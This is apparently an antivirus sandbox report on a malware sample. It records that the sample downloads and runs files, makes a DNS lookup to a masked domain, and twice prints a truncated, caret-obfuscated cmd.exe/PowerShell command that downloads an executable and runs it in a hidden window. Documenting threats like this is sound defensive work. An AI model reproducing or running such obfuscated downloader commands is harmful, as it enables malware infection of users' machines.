Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /V/C"s^e^t n^jv^M= ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ }^}^{hctac^}^;^k^aerb;n^TR^$ ^me^t^I^-ek^ovn^I;)nTR$^ ^,V^Hb^$(el^i^Fd^a^o^lnwo^D^.Bm^d^${^yrt^{)^hH^o$ ni^ V^Hb$(hcaer^o^f;'e^x^e^.^'+w^Us$^+^'^\'^...
Network activity
UDP
- DNS ASK jb####0l23iyy.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /V/C"s^e^t n^jv^M= ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ }^}^{hctac^}^;^k^aerb;n^TR^$ ^me^t^I^-ek^ovn^I;)nTR$^ ^,V^Hb^$(el^i^Fd^a^o^lnwo^D^.Bm^d^${^yrt^{)^hH^o$ ni^ V^Hb$(hcaer^o^f;'e^x^e^.^'+w^Us$^+^'^\'^...' (with hidden window)
